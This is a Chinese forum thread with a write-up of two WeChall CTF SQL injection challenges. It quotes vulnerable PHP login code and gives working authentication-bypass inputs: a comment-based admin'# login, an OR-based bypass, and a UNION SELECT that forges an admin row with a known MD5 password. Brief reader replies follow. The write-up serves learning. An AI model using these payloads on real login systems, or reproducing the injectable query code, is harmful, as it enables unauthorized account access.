tuziang 发表于 2019-7-19 11:49

WeChall 两道sql注入 基础题目 Write Up

本帖最后由 tuziang 于 2019-7-19 11:57 编辑

WeChall是ctf的一个题库。直接上题目

Training: MySQL I


你的任务很简单:以管理员身份登录。

重要源代码:


      $query = "SELECT * FROM users WHERE username='$username' AND password='$password'";
      
      if (false === ($result = $db->queryFirst($query))) {
                echo GWF_HTML::error('Auth1', $chall->lang('err_unknown'), false); # Unknown user
                return false;
      }

      # Welcome back!
      echo GWF_HTML::message('Auth1', $chall->lang('msg_welcome_back', htmlspecialchars($result['username'])), false);
      
      # Challenge solved?
      if (strtolower($result['username']) === 'admin') {
                $chall->onChallengeSolved(GWF_Session::getUserID());
      }
      

重点是第一行:

$query = "SELECT * FROM users WHERE username='$username' AND password='$password'";

两种方法:
方法一
username输入 admin'# 即可登录。
原理:用Mysql单行注释符号#将后半句AND语句注释掉。

$query = "SELECT * FROM users WHERE username='admin'#' AND password='$password'";

构成SQL语句

SELECT * FROM users WHERE username='admin'

故而登录成功。 补充:之所以不是php注释,是因为#在双引号中,只会显示它的字面量。
同样可以用----的后面要加空格。

方法二
username输入 admin' or '1 即可登录。
构成SQL语句
SELECT * FROM users WHERE username='admin' or '1' AND password='$password'
这里的1可以换成其他非空字符。

因为or在and的前面,所以可以理解成username='admin'和
'1' AND password='$password' 进行或运算, 因此即使第二部分是假,整条语句也是真的。



Training: MySQL II
第二题开始:
任务和上一题一样。重要源代码:

function auth2_onLogin(WC_Challenge $chall, $username, $password)
{
      $db = auth2_db();
      
      $password = md5($password);
      
      $query = "SELECT * FROM users WHERE username='$username'";
      
      if (false === ($result = $db->queryFirst($query))) {
                echo GWF_HTML::error('Auth2', $chall->lang('err_unknown'), false);
                return false;
      }
      
      
      #############################
      ### This is the new check ###
      if ($result['password'] !== $password) {
                echo GWF_HTML::error('Auth2', $chall->lang('err_password'), false);
                return false;
      } #End of the new code###
      #############################
      
      
      echo GWF_HTML::message('Auth2', $chall->lang('msg_welcome_back', array(htmlspecialchars($result['username']))), false);
      
      if (strtolower($result['username']) === 'admin') {
                $chall->onChallengeSolved(GWF_Session::getUserID());
      }
      
      return true;
}


从代码可以看到username password分开来验证。通常的利用方法是使用union构造已知MD5值的查询。

查询代码:
$query = "SELECT * FROM users WHERE username='$username'";

username一栏填写123' union select 1,'admin',md5('password');#

构成sql语句:

SELECT * FROM users WHERE username='123' union select 1,'admin',md5('password');#'



由于最后有个注释符号,所以相当于:

SELECT * FROM users WHERE username='123' union select 1,'admin',md5('password');


这句话首先通过username=123将原语句报错。因此返回的将会是第二条语句产生的信息。
而我们union select的是直接构造了用户名为admin,密码为password的md5值。这样就可以让程序误认为我们构造的信息就是它从数据库里面提取得到的信息。

验证密码正确是通过判断: $result['password'] 和 $password 是否一致。

$result['password']是用union构造的,因此password一栏填写password即可登录成功。

答案
username填写123' union select 1,'admin',md5('password');#
password填写password

MrFooL 发表于 2019-7-19 13:43

写的挺好,虽然都是比较基础的SQL注入知识
没想到在吾爱都能看到这种类型的帖子

tmsq 发表于 2019-7-19 13:48

目前看不懂,马克一下

jaby2008 发表于 2021-2-1 20:39

不错,基础知识学习中

百事可乐2020 发表于 2021-2-1 22:43

很好的学习知识!

pj_soup 发表于 2021-2-2 09:12

细致,不过现在真实环境很少有利用的。

NASS80 发表于 2021-2-3 15:57

大侠在路上 发表于 2021-2-9 17:16

感谢楼主分享,学习一下。

PASSERFBER 发表于 2021-3-30 09:03

有题目地址吗,想去尝试一下{:1_918:}

karine23 发表于 2021-4-15 10:48

很好的例子,解析说明简洁。学习了
页: [1] 2
查看完整版本: WeChall 两道sql注入 基础题目 Write Up